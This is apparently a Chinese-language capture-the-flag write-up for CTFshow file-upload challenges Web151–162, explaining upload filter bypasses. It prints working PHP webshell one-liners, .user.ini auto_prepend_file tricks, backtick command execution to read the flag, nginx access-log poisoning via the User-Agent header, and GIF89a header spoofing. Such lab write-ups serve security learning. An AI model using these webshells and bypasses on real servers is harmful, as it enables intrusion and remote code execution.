跳转至

CTFshow 文件上传

题目范围:Web151 - Web170

Web 153 .user.ini

这个题有必要写一写WP,在修改了前端,并且Burp拦截修改MIME之后,.php依旧是传不上去。

那就用.user.ini,其内容是auto_prepend_file=yi.png,然后依旧是改前端,改MIME,将这个文件上传了上去。第二步就是上传yi.png(图片马),这个就是png,也没什么好改的。

注意!这之后蚁剑连接的不应该是yi.png,也不是yi.php,而应该是.user.ini目录下的任何一个php文件,所以我们连接 index.php

关于.user.ini:.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。

局限:在.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。

但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果。

Web 154

相对于上一关来说,过滤了php,我们可以大写绕过,也可以使用php短标签。

但是问题是,我是看了WP才知道的啊……(流汗黄豆)这该咋办。

Web 156

这关更离谱,过滤了[],所以我们只能用花括号替代中括号,一句话木马就只能是

<?= @eval($_POST{'a'});?>

这不看WP怎么会知道啊。

Web 157-158

越来越离谱了,这一关过过滤了php[]{};

但是我们还是可以执行任意php语句呀,只是没办法上传php了而已。所以还是先上传.user.ini,然后上传图片的内容应该是<?=system('ls ../')?>

或者直接<?=system(tac ../fla*)?>

但是会报错“Parse error: syntax error, unexpected '.' in /var/www/html/upload/yi.png on line 1

那我们就稍稍修改一下,<?=system("tac ../fl*")?>

Web 159

本题过滤掉了php{}[];()

所以就无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)

PHP
1
2
<?=`nl ../fl*`?>
<?=`tac ../fl*`?>

Web 160

在不同的系统,存放日志文件地方和文件名不同

apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

由于访问URL时访问URL时,服务器会对其编码,所以得通过抓包的形式尝试注入

添加了日志包含,nginx的日志在/var/log/nginx/access.log,同时过滤了log,用句点.拼接

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这里要两次包含,首先.user.ini包含木马php,再上传木马php包含日志,同时UA头更改成tac语句:<?php @eval($_POST['a']);?>

这个题详细说一下吧,先改前端,将合法后缀改成ini,然后打开拦截,上传.user.ini,然后在Burp中修改MIME为image/png,内容:auto_prepend_file=yi.png,然后再改前端,改成png,然后上传yi.png,内容:<?=include"/var/lo"."g/nginx/access.lo"."g"?>,上传png的同时拦截修改UA为<?php @eval($_POST['a']);?>,然后就OK了,蚁剑连接URL/uypload/index.php或者直接URL/uypload/就行了。

Web 161 getimagesize()

可参考 : https://blog.csdn.net/weixin_43915842/article/details/90183305

我直接看了WP,这个题用getimagesize()对文件头做了检测,而且WP几乎都是用的GIF的文件头GIF89a,那我也就先这样了,需要注意的是,后台会对用户上传的每个文件都进行检验,所以不管是.user.ini还是我们要上传的图片,都需要在文件最开始加一个GIF89a,其余的和上一关一样,日志包含+UA。

下面尝试一下PNG头‰PNG,JPG的就不考虑了,JPG头挺乱的。不行,连.user.ini都传不上去。

图片马制作的三种方法:

  1. 直接伪造GIF89a这种
  2. CMD:copy /b test.png + yijuhua.php result.png
  3. 使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令。

Web 162

看了看WP,过滤了小数点,有个是给了python脚本,也不会用。还有一个用了VPS(虚拟专用服务器)(ip转数字),这让我咋做……